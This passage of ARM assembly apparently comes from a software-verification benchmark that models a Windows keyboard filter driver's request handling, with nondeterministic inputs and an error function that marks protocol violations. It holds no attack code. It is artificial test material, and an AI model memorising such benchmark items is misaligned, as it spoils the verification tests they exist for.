bl __VERIFIER_nondet_int
str r0, [fp, #-80]
bl __VERIFIER_nondet_int
str r0, [fp, #-76]
bl __VERIFIER_nondet_int
str r0, [fp, #-72]
bl __VERIFIER_nondet_int
str r0, [fp, #-68]
bl __VERIFIER_nondet_int
str r0, [fp, #-64]
mov r3, #0
str r3, [fp, #-88]
ldr r3, [fp, #-80]
str r3, [fp, #-60]
ldr r3, [fp, #-76]
str r3, [fp, #-56]
ldr r3, [fp, #-72]
cmp r3, #0
beq .L51
ldr r3, [fp, #-72]
cmp r3, #23
beq .L52
ldr r3, [fp, #-72]
cmp r3, #2
beq .L53
ldr r3, [fp, #-72]
cmp r3, #1
beq .L54
ldr r3, [fp, #-72]
cmp r3, #5
beq .L55
ldr r3, [fp, #-72]
cmp r3, #3
beq .L56
ldr r3, [fp, #-72]
cmp r3, #6
beq .L57
ldr r3, [fp, #-72]
cmp r3, #13
beq .L58
ldr r3, [fp, #-72]
cmp r3, #4
beq .L59
ldr r3, [fp, #-72]
cmp r3, #7
beq .L60
ldr r3, [fp, #-72]
cmp r3, #8
beq .L61
ldr r3, [fp, #-72]
cmp r3, #9
beq .L62
ldr r3, [fp, #-72]
cmp r3, #12
beq .L63
ldr r3, [fp, #-72]
cmp r3, #10
beq .L64
ldr r3, [fp, #-72]
cmp r3, #11
beq .L65
ldr r3, [fp, #-72]
cmp r3, #15
beq .L66
ldr r3, [fp, #-72]
cmp r3, #16
beq .L67
ldr r3, [fp, #-72]
cmp r3, #17
beq .L68
ldr r3, [fp, #-72]
cmp r3, #18
beq .L69
ldr r3, [fp, #-72]
cmp r3, #19
beq .L70
ldr r3, [fp, #-72]
cmp r3, #20
b .L17
.L51:
nop
.L11:
ldr r3, [fp, #-76]
str r3, [fp, #-44]
ldr r3, [fp, #-76]
sub r3, r3, #1
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-36]
ldr r3, .L71
ldr r2, [r3]
ldr r3, .L71+4
ldr r3, [r3]
cmp r2, r3
beq .L35
bl errorFn
b .L36
.L35:
ldr r3, .L71+8
ldr r3, [r3]
cmp r3, #0
beq .L37
bl errorFn
b .L36
.L37:
ldr r3, .L71+8
mov r2, #1
str r2, [r3]
.L36:
ldr r3, [fp, #-76]
sub r3, r3, #1
str r3, [fp, #-32]
ldr r3, [fp, #-84]
str r3, [fp, #-28]
mov r3, #224
str r3, [fp, #-24]
ldr r1, [fp, #-100]
ldr r0, [fp, #-68]
bl IofCallDriver
str r0, [fp, #-88]
ldr r3, [fp, #-88]
str r3, [fp, #-20]
ldr r3, [fp, #-20]
ldr r2, .L71+12
cmp r3, r2
bne .L38
ldr r3, .L71+16
ldr r1, [r3]
ldr r3, .L71+20
ldr r2, [r3]
mov r3, #0
str r3, [sp]
mov r3, #0
ldr r0, [fp, #-84]
bl KeWaitForSingleObject
.L38:
ldr r3, [fp, #-88]
cmp r3, #0
blt .L39
ldr r3, .L71+24
ldr r3, [r3]
cmp r3, #0
blt .L39
mov r3, #1
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-48]
.L39:
ldr r3, [fp, #-88]
str r3, [fp, #-12]
ldr r2, .L71+24
ldr r3, [fp, #-88]
str r3, [r2]
mov r3, #0
str r3, [fp, #-8]
mov r1, #0
ldr r0, [fp, #-100]
bl IofCompleteRequest
b .L40
.L52:
nop
.L13:
mov r3, #1
str r3, [fp, #-48]
ldr r3, .L71
ldr r2, [r3]
ldr r3, .L71+4
ldr r3, [r3]
cmp r2, r3
bne .L41
ldr r3, .L71+28
ldr r3, [r3]
ldr r2, .L71
str r3, [r2]
b .L42
.L41:
bl errorFn
.L42:
ldr r3, [fp, #-64]
add r3, r3, #1
str r3, [fp, #-64]
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
ldr r1, [fp, #-100]
ldr r0, [fp, #-68]
bl IofCallDriver
str r0, [fp, #-88]
b .L40
.L53:
nop
.L15:
mov r3, #1
str r3, [fp, #-52]
ldr r3, .L71
ldr r2, [r3]
ldr r3, .L71+4
ldr r3, [r3]
cmp r2, r3
bne .L43
ldr r3, .L71+28
ldr r3, [r3]
ldr r2, .L71
str r3, [r2]
b .L44
.L43:
bl errorFn
.L44:
ldr r3, [fp, #-64]
add r3, r3, #1
str r3, [fp, #-64]
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
ldr r1, [fp, #-100]
ldr r0, [fp, #-68]
bl IofCallDriver
mov r3, #0
str r3, [fp, #-88]
b .L40
.L54:
nop
b .L17
.L55:
nop
b .L17
.L56:
nop
b .L17
.L57:
nop
b .L17
.L58:
nop
b .L17
.L59:
nop
b .L17
.L60:
nop
b .L17
.L61:
nop
b .L17
.L62:
nop
b .L17
.L63:
nop
b .L17
.L64:
nop
b .L17
.L65:
nop
b .L17
.L66:
nop
b .L17
.L67:
nop
b .L17
.L68:
nop
b .L17
.L69:
nop
b .L17
.L70:
nop
.L17:
ldr r3, .L71
ldr r2, [r3]
ldr r3, .L71+4
ldr r3, [r3]
cmp r2, r3
bne .L45
ldr r3, .L71+28
ldr r3, [r3]
ldr r2, .L71
str r3, [r2]
b .L46
.L45:
bl errorFn
.L46:
ldr r3, [fp, #-64]
add r3, r3, #1
str r3, [fp, #-64]
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
ldr r1, [fp, #-100]
ldr r0, [fp, #-68]
bl IofCallDriver
str r0, [fp, #-88]
nop
.L40:
ldr r3, [fp, #-88]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L72:
.align 2
.L71:
.word s
.word NP
.word compRegistered
.word 259
.word Executive
.word KernelMode
.word myStatus
.word SKIP1
.size KbFilter_PnP, .-KbFilter_PnP
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
bl __VERIFIER_nondet_int
str r0, [fp, #-44]
bl __VERIFIER_nondet_int
str r0, [fp, #-40]
bl __VERIFIER_nondet_int
str r0, [fp, #-36]
ldr r3, .L114
mov r2, #0
str r2, [r3]
ldr r3, .L114+4
mov r2, #0
str r2, [r3]
ldr r3, .L114+8
mov r2, #1
str r2, [r3]
ldr r3, .L114+12
mov r2, #0
str r2, [r3]
ldr r3, .L114+16
mov r2, #0
str r2, [r3]
ldr r3, .L114+20
mov r2, #0
str r2, [r3]
ldr r3, .L114+24
mov r2, #0
str r2, [r3]
ldr r3, .L114+28
mov r2, #0
str r2, [r3]
ldr r3, .L114+32
mov r2, #0
str r2, [r3]
ldr r3, .L114+36
mov r2, #0
str r2, [r3]
ldr r3, .L114+40
mov r2, #0
str r2, [r3]
ldr r3, .L114+44
mov r2, #0
str r2, [r3]
ldr r3, .L114+48
mov r2, #0
str r2, [r3]
ldr r3, .L114+52
mov r2, #0
str r2, [r3]
ldr r3, .L114+56
mov r2, #0
str r2, [r3]
ldr r3, .L114+60
mov r2, #0
str r2, [r3]
ldr r3, .L114+64
mov r2, #0
str r2, [r3]
ldr r3, .L114+68
mov r2, #0
str r2, [r3]
ldr r3, .L114+72
mov r2, #0
str r2, [r3]
mov r3, #0
str r3, [fp, #-48]
ldr r3, [fp, #-44]
str r3, [fp, #-32]
bl _BLAST_init
ldr r3, [fp, #-48]
cmp r3, #0
blt .L102
ldr r3, .L114+20
ldr r3, [r3]
ldr r2, .L114+12
str r3, [r2]
ldr r3, .L114+68
mov r2, #0
str r2, [r3]
ldr r3, .L114+68
ldr r3, [r3]
ldr r2, .L114+64
str r3, [r2]
ldr r3, .L114+64
ldr r3, [r3]
ldr r2, .L114+60
str r3, [r2]
ldr r3, .L114+60
ldr r3, [r3]
ldr r2, .L114+56
str r3, [r2]
ldr r3, .L114+56
ldr r3, [r3]
ldr r2, .L114+48
str r3, [r2]
mov r3, #0
str r3, [fp, #-28]
ldr r3, .L114+72
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-40]
cmp r3, #0
bne .L75
ldr r3, .L114+76
str r3, [fp, #-28]
ldr r3, .L114+72
ldr r2, .L114+76
str r2, [r3]
.L75:
bl stub_driver_init
ldr r3, [fp, #-48]
cmp r3, #0
bge .L76
mvn r3, #0
b .L77
.L76:
bl __VERIFIER_nondet_int
str r0, [fp, #-24]
ldr r3, [fp, #-24]
cmp r3, #0
beq .L103
bl __VERIFIER_nondet_int
str r0, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #1
beq .L104
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #3
beq .L105
bl __VERIFIER_nondet_int
str r0, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #4
beq .L106
bl __VERIFIER_nondet_int
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #8
bne .L107
b .L101
.L103:
nop
.L79:
ldr r1, [fp, #-32]
ldr r0, [fp, #-36]
bl KbFilter_CreateClose
str r0, [fp, #-48]
b .L74
.L104:
nop
.L81:
ldr r1, [fp, #-32]
ldr r0, [fp, #-36]
bl KbFilter_CreateClose
str r0, [fp, #-48]
b .L74
.L105:
nop
.L83:
ldr r1, [fp, #-32]
ldr r0, [fp, #-36]
bl KbFilter_PnP
str r0, [fp, #-48]
b .L74
.L106:
nop
.L85:
ldr r1, [fp, #-32]
ldr r0, [fp, #-36]
bl KbFilter_Power
str r0, [fp, #-48]
b .L74
.L101:
.L87:
ldr r1, [fp, #-32]
ldr r0, [fp, #-36]
bl KbFilter_InternIoCtl
str r0, [fp, #-48]
b .L74
.L107:
nop
.L88:
mvn r3, #0
b .L77
.L102:
nop
.L74:
ldr r3, .L114+48
ldr r3, [r3]
cmp r3, #1
bne .L108
ldr r3, .L114+12
ldr r2, [r3]
ldr r3, .L114+20
ldr r3, [r3]
cmp r2, r3
bne .L109
ldr r3, .L114+20
ldr r3, [r3]
ldr r2, .L114+12
str r3, [r2]
b .L91
.L108:
nop
b .L89
.L109:
nop
.L89:
ldr r3, .L114+48
ldr r3, [r3]
cmp r3, #1
bne .L110
ldr r3, .L114+12
ldr r2, [r3]
ldr r3, .L114+40
ldr r3, [r3]
cmp r2, r3
bne .L111
ldr r3, .L114+40
ldr r3, [r3]
ldr r2, .L114+12
str r3, [r2]
b .L91
.L110:
nop
b .L92
.L111:
nop
.L92:
ldr r3, .L114+12
ldr r2, [r3]
ldr r3, .L114+16
ldr r3, [r3]
cmp r2, r3
beq .L91
ldr r3, [fp, #-48]
cmn r3, #1
beq .L91
ldr r3, .L114+12
ldr r2, [r3]
ldr r3, .L114+32
ldr r3, [r3]
cmp r2, r3
beq .L112
ldr r3, .L114+12
ldr r2, [r3]
ldr r3, .L114+44
ldr r3, [r3]
cmp r2, r3
beq .L113
ldr r3, .L114+12
ldr r2, [r3]
ldr r3, .L114+24
ldr r3, [r3]
cmp r2, r3
bne .L91
b .L94
.L112:
nop
b .L94
.L113:
nop
.L94:
ldr r3, .L114+48
ldr r3, [r3]
cmp r3, #1
bne .L96
ldr r3, [fp, #-48]
ldr r2, .L114+80
cmp r3, r2
beq .L91
bl errorFn
b .L91
.L96:
ldr r3, .L114+12
ldr r2, [r3]
ldr r3, .L114+24
ldr r3, [r3]
cmp r2, r3
beq .L91
ldr r3, .L114+60
ldr r3, [r3]
ldr r2, [fp, #-48]
cmp r2, r3
beq .L91
bl errorFn
.L91:
ldr r3, [fp, #-48]
.L77:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L115:
.align 2
.L114:
.word KernelMode
.word Executive
.word DevicePowerState
.word s
.word UNLOADED
.word NP
.word DC
.word SKIP1
.word SKIP2
.word MPR1
.word MPR3
.word IPC
.word pended
.word compFptr
.word compRegistered
.word lowerDriverReturn
.word setEventCalled
.word customIrp
.word myStatus
.word -1073741637
.word 259
.size main, .-main
.align 2
.global stubMoreProcessingRequired
.syntax unified
.arm
.fpu softvfp
.type stubMoreProcessingRequired, %function
stubMoreProcessingRequired:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r3, .L120
ldr r2, [r3]
ldr r3, .L120+4
ldr r3, [r3]
cmp r2, r3
bne .L117
ldr r3, .L120+8
ldr r3, [r3]
ldr r2, .L120
str r3, [r2]
pop {fp, pc}
.L117:
bl errorFn
nop
pop {fp, pc}
.L121:
.align 2
.L120:
.word s
.word NP
.word MPR1
.size stubMoreProcessingRequired, .-stubMoreProcessingRequired
.align 2
.global IofCallDriver
.syntax unified
.arm
.fpu softvfp
.type IofCallDriver, %function
IofCallDriver:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
str r1, [fp, #-44]
bl __VERIFIER_nondet_int
str r0, [fp, #-28]
ldr r3, .L140
ldr r3, [r3]
cmp r3, #0
beq .L123
ldr r2, [fp, #-28]
ldr r1, [fp, #-44]
ldr r0, [fp, #-40]
bl KbFilter_Complete
str r0, [fp, #-24]
ldr r3, [fp, #-24]
mov r2, r3
asr r3, r2, #31
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, #-1073741802
mvn r1, #0
cmp r3, r1
cmpeq r2, r0
bne .L123
bl stubMoreProcessingRequired
.L123:
bl __VERIFIER_nondet_int
str r0, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
beq .L138
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #1
bne .L139
b .L137
.L138:
nop
.L125:
mov r3, #0
str r3, [fp, #-32]
b .L129
.L137:
.L127:
mov r3, #-1073741823
str r3, [fp, #-32]
b .L129
.L139:
nop
.L128:
ldr r3, .L140+4
str r3, [fp, #-32]
nop
.L129:
ldr r3, .L140+8
ldr r2, [r3]
ldr r3, .L140+12
ldr r3, [r3]
cmp r2, r3
bne .L130
ldr r3, .L140+16
ldr r3, [r3]
ldr r2, .L140+8
str r3, [r2]
ldr r2, .L140+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L131
.L130:
ldr r3, .L140+8
ldr r2, [r3]
ldr r3, .L140+24
ldr r3, [r3]
cmp r2, r3
bne .L132
ldr r3, [fp, #-32]
ldr r2, .L140+4
cmp r3, r2
bne .L133
ldr r3, .L140+28
ldr r3, [r3]
ldr r2, .L140+8
str r3, [r2]
ldr r2, .L140+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L131
.L133:
ldr r3, .L140+12
ldr r3, [r3]
ldr r2, .L140+8
str r3, [r2]
ldr r2, .L140+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L131
.L132:
ldr r3, .L140+8
ldr r2, [r3]
ldr r3, .L140+32
ldr r3, [r3]
cmp r2, r3
bne .L134
ldr r3, .L140+36
ldr r3, [r3]
ldr r2, .L140+8
str r3, [r2]
ldr r2, .L140+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L131
.L134:
bl errorFn
.L131:
ldr r3, [fp, #-32]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L141:
.align 2
.L140:
.word compRegistered
.word 259
.word s
.word NP
.word IPC
.word lowerDriverReturn
.word MPR1
.word MPR3
.word SKIP1
.word SKIP2
.size IofCallDriver, .-IofCallDriver
.align 2
.global IofCompleteRequest
.syntax unified
.arm
.fpu softvfp
.type IofCompleteRequest, %function
IofCompleteRequest:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, .L146
ldr r2, [r3]
ldr r3, .L146+4
ldr r3, [r3]
cmp r2, r3
bne .L143
ldr r3, .L146+8
ldr r3, [r3]
ldr r2, .L146
str r3, [r2]
b .L142
.L143:
bl errorFn
nop
.L142:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L147:
.align 2
.L146:
.word s
.word NP
.word DC
.size IofCompleteRequest, .-IofCompleteRequest
.align 2
.global KeSetEvent
.syntax unified
.arm
.fpu softvfp
.type KeSetEvent, %function
KeSetEvent:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
bl __VERIFIER_nondet_int
str r0, [fp, #-8]
ldr r3, .L150
mov r2, #1
str r2, [r3]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L151:
.align 2
.L150:
.word setEventCalled
.size KeSetEvent, .-KeSetEvent
.align 2
.global KeWaitForSingleObject
.syntax unified
.arm
.fpu softvfp
.type KeWaitForSingleObject, %function
KeWaitForSingleObject:
@ args = 4, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
str r3, [fp, #-28]
ldr r3, .L164
ldr r2, [r3]
ldr r3, .L164+4
ldr r3, [r3]
cmp r2, r3
bne .L161
ldr r3, .L164+8
ldr r3, [r3]
cmp r3, #1
bne .L162
ldr r3, .L164+12
ldr r3, [r3]
ldr r2, .L164
str r3, [r2]
ldr r3, .L164+8
mov r2, #0
str r2, [r3]
b .L155
.L161:
nop
b .L153
.L162:
nop
.L153:
ldr r3, .L164+16
ldr r3, [r3]
cmp r3, #1
bne .L156
ldr r3, .L164+12
ldr r3, [r3]
ldr r2, .L164
str r3, [r2]
ldr r3, .L164+16
mov r2, #0
str r2, [r3]
b .L155
.L156:
ldr r3, .L164
ldr r2, [r3]
ldr r3, .L164+4
ldr r3, [r3]
cmp r2, r3
bne .L155
bl errorFn
.L155:
bl __VERIFIER_nondet_int
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L163
nop
.L158:
mov r3, #0
b .L160
.L163:
nop
.L159:
mov r3, #-1073741823
.L160:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L165:
.align 2
.L164:
.word s
.word MPR3
.word setEventCalled
.word NP
.word customIrp
.size KeWaitForSingleObject, .-KeWaitForSingleObject
.align 2
.global KbFilter_Complete
.syntax unified
.arm
.fpu softvfp
.type KbFilter_Complete, %function
KbFilter_Complete:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-24]
str r3, [fp, #-8]
mov r2, #0
mov r1, #0
ldr r0, [fp, #-8]
bl KeSetEvent
mov r3, #-1073741802
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size KbFilter_Complete, .-KbFilter_Complete
.align 2
.global KbFilter_CreateClose
.syntax unified
.arm
.fpu softvfp
.type KbFilter_CreateClose, %function
KbFilter_CreateClose:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
bl __VERIFIER_nondet_int
str r0, [fp, #-20]
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
ldr r3, .L181
ldr r3, [r3]
str r3, [fp, #-24]
ldr r3, [fp, #-20]
cmp r3, #0
beq .L178
ldr r3, [fp, #-20]
cmp r3, #2
bne .L179
b .L177
.L178:
nop
.L170:
ldr r3, [fp, #-16]
cmp r3, #0
bne .L180
ldr r3, .L181+4
str r3, [fp, #-24]
b .L180
.L177:
.L172:
b .L173
.L179:
nop
b .L173
.L180:
nop
.L173:
ldr r3, [fp, #-24]
str r3, [fp, #-12]
ldr r2, .L181
ldr r3, [fp, #-24]
str r3, [r2]
ldr r1, [fp, #-36]
ldr r0, [fp, #-32]
bl KbFilter_DispatchPassThrough
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L182:
.align 2
.L181:
.word myStatus
.word -1073741436
.size KbFilter_CreateClose, .-KbFilter_CreateClose
.align 2
.global KbFilter_DispatchPassThrough
.syntax unified
.arm
.fpu softvfp
.type KbFilter_DispatchPassThrough, %function
KbFilter_DispatchPassThrough:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
bl __VERIFIER_nondet_int
str r0, [fp, #-24]
bl __VERIFIER_nondet_int
str r0, [fp, #-20]
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
ldr r3, [fp, #-24]
str r3, [fp, #-12]
ldr r3, .L187
ldr r2, [r3]
ldr r3, .L187+4
ldr r3, [r3]
cmp r2, r3
bne .L184
ldr r3, .L187+8
ldr r3, [r3]
ldr r2, .L187
str r3, [r2]
b .L185
.L184:
bl errorFn
.L185:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
ldr r1, [fp, #-36]
ldr r0, [fp, #-16]
bl IofCallDriver
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L188:
.align 2
.L187:
.word s
.word NP
.word SKIP1
.size KbFilter_DispatchPassThrough, .-KbFilter_DispatchPassThrough
.align 2
.global KbFilter_Power
.syntax unified
.arm
.fpu softvfp
.type KbFilter_Power, %function
KbFilter_Power:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
str r1, [fp, #-44]
bl __VERIFIER_nondet_int
str r0, [fp, #-36]
bl __VERIFIER_nondet_int
str r0, [fp, #-32]
bl __VERIFIER_nondet_int
str r0, [fp, #-28]
bl __VERIFIER_nondet_int
str r0, [fp, #-24]
bl __VERIFIER_nondet_int
str r0, [fp, #-20]
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
ldr r3, [fp, #-36]
cmp r3, #2
beq .L204
ldr r3, [fp, #-36]
cmp r3, #1
beq .L205
ldr r3, [fp, #-36]
cmp r3, #0
beq .L206
ldr r3, [fp, #-36]
cmp r3, #3
b .L198
.L204:
nop
.L191:
ldr r3, .L208
ldr r3, [r3]
ldr r2, [fp, #-16]
cmp r2, r3
bne .L207
ldr r3, [fp, #-32]
str r3, [fp, #-12]
b .L198
.L193:
.L196:
.L197:
.L205:
nop
b .L198
.L206:
nop
b .L198
.L207:
nop
.L198:
nop
.L199:
ldr r3, .L208+4
ldr r2, [r3]
ldr r3, .L208+8
ldr r3, [r3]
cmp r2, r3
bne .L200
ldr r3, .L208+12
ldr r3, [r3]
ldr r2, .L208+4
str r3, [r2]
b .L201
.L200:
bl errorFn
.L201:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
ldr r1, [fp, #-44]
ldr r0, [fp, #-20]
bl PoCallDriver
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L209:
.align 2
.L208:
.word DevicePowerState
.word s
.word NP
.word SKIP1
.size KbFilter_Power, .-KbFilter_Power
.align 2
.global PoCallDriver
.syntax unified
.arm
.fpu softvfp
.type PoCallDriver, %function
PoCallDriver:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
str r1, [fp, #-44]
bl __VERIFIER_nondet_int
str r0, [fp, #-28]
ldr r3, .L228
ldr r3, [r3]
cmp r3, #0
beq .L211
ldr r2, [fp, #-28]
ldr r1, [fp, #-44]
ldr r0, [fp, #-40]
bl KbFilter_Complete
str r0, [fp, #-24]
ldr r3, [fp, #-24]
str r3, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #-1073741802
bne .L211
bl stubMoreProcessingRequired
.L211:
bl __VERIFIER_nondet_int
str r0, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
beq .L226
bl __VERIFIER_nondet_int
str r0, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #1
bne .L227
b .L225
.L226:
nop
.L213:
mov r3, #0
str r3, [fp, #-32]
b .L217
.L225:
.L215:
mov r3, #-1073741823
str r3, [fp, #-32]
b .L217
.L227:
nop
.L216:
ldr r3, .L228+4
str r3, [fp, #-32]
nop
.L217:
ldr r3, .L228+8
ldr r2, [r3]
ldr r3, .L228+12
ldr r3, [r3]
cmp r2, r3
bne .L218
ldr r3, .L228+16
ldr r3, [r3]
ldr r2, .L228+8
str r3, [r2]
ldr r2, .L228+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L219
.L218:
ldr r3, .L228+8
ldr r2, [r3]
ldr r3, .L228+24
ldr r3, [r3]
cmp r2, r3
bne .L220
ldr r3, [fp, #-32]
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, .L228+4
cmp r3, r2
bne .L221
ldr r3, .L228+28
ldr r3, [r3]
ldr r2, .L228+8
str r3, [r2]
ldr r2, .L228+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L219
.L221:
ldr r3, .L228+12
ldr r3, [r3]
ldr r2, .L228+8
str r3, [r2]
ldr r2, .L228+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L219
.L220:
ldr r3, .L228+8
ldr r2, [r3]
ldr r3, .L228+32
ldr r3, [r3]
cmp r2, r3
bne .L222
ldr r3, .L228+36
ldr r3, [r3]
ldr r2, .L228+8
str r3, [r2]
ldr r2, .L228+20
ldr r3, [fp, #-32]
str r3, [r2]
b .L219
.L222:
bl errorFn
.L219:
ldr r3, [fp, #-32]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L229:
.align 2
.L228:
.word compRegistered
.word 259
.word s
.word NP
.word IPC
.word lowerDriverReturn
.word MPR1
.word MPR3
.word SKIP1
.word SKIP2
.size PoCallDriver, .-PoCallDriver
.align 2
.global KbFilter_InternIoCtl
.syntax unified
.arm
.fpu softvfp
.type KbFilter_InternIoCtl, %function
KbFilter_InternIoCtl:
@ args = 0, pretend = 0, frame = 104
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #104
str r0, [fp, #-104]
str r1, [fp, #-108]
bl __VERIFIER_nondet_int
str r0, [fp, #-92]
bl __VERIFIER_nondet_int
str r0, [fp, #-88]
bl __VERIFIER_nondet_int
str r0, [fp, #-84]
bl __VERIFIER_nondet_int
str r0, [fp, #-80]
bl __VERIFIER_nondet_int
str r0, [fp, #-76]
bl __VERIFIER_nondet_int
str r0, [fp, #-72]
bl __VERIFIER_nondet_int
str r0, [fp, #-68]
bl __VERIFIER_nondet_int
str r0, [fp, #-64]
bl __VERIFIER_nondet_int
str r0, [fp, #-60]
bl __VERIFIER_nondet_int
str r0, [fp, #-56]
bl __VERIFIER_nondet_int
str r0, [fp, #-52]
bl __VERIFIER_nondet_int
str r0, [fp, #-48]
bl __VERIFIER_nondet_int
str r0, [fp, #-44]
bl __VERIFIER_nondet_int
str r0, [fp, #-40]
bl __VERIFIER_nondet_int
str r0, [fp, #-36]
bl __VERIFIER_nondet_int
str r0, [fp, #-32]
bl __VERIFIER_nondet_int
str r0, [fp, #-28]
mov r3, #0
str r3, [fp, #-96]
mov r3, #0
str r3, [fp, #-24]
ldr r2, [fp, #-92]
ldr r3, [fp, #-60]
cmp r2, r3
beq .L258
ldr r2, [fp, #-92]
ldr r3, [fp, #-56]
cmp r2, r3
beq .L259
ldr r2, [fp, #-92]
ldr r3, [fp, #-52]
cmp r2, r3
beq .L260
ldr r2, [fp, #-92]
ldr r3, [fp, #-48]
cmp r2, r3
beq .L261
ldr r2, [fp, #-92]
ldr r3, [fp, #-44]
cmp r2, r3
beq .L262
ldr r2, [fp, #-92]
ldr r3, [fp, #-40]
cmp r2, r3
beq .L263
ldr r2, [fp, #-92]
ldr r3, [fp, #-36]
cmp r2, r3
beq .L264
ldr r2, [fp, #-92]
ldr r3, [fp, #-32]
cmp r2, r3
beq .L265
ldr r2, [fp, #-92]
ldr r3, [fp, #-28]
cmp r2, r3
bne .L266
b .L252
.L258:
nop
.L232:
ldr r3, [fp, #-88]
cmp r3, #0
beq .L245
ldr r3, .L267
str r3, [fp, #-96]
b .L244
.L245:
ldr r2, [fp, #-84]
ldr r3, [fp, #-80]
cmp r2, r3
bge .L246
mov r3, #-1073741811
str r3, [fp, #-96]
b .L244
.L246:
ldr r3, [fp, #-76]
str r3, [fp, #-16]
b .L244
.L259:
nop
.L234:
mov r3, #-1073741822
str r3, [fp, #-96]
b .L244
.L260:
nop
.L236:
ldr r2, [fp, #-84]
ldr r3, [fp, #-72]
cmp r2, r3
bge .L247
mov r3, #-1073741811
str r3, [fp, #-96]
b .L244
.L247:
ldr r3, [fp, #-76]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-96]
b .L244
.L238:
.L248:
.L249:
.L250:
.L251:
.L261:
nop
b .L244
.L262:
nop
b .L244
.L263:
nop
b .L244
.L264:
nop
b .L244
.L265:
nop
.L252:
b .L244
.L266:
nop
.L244:
ldr r3, [fp, #-96]
cmp r3, #0
bge .L253
ldr r3, [fp, #-96]
str r3, [fp, #-8]
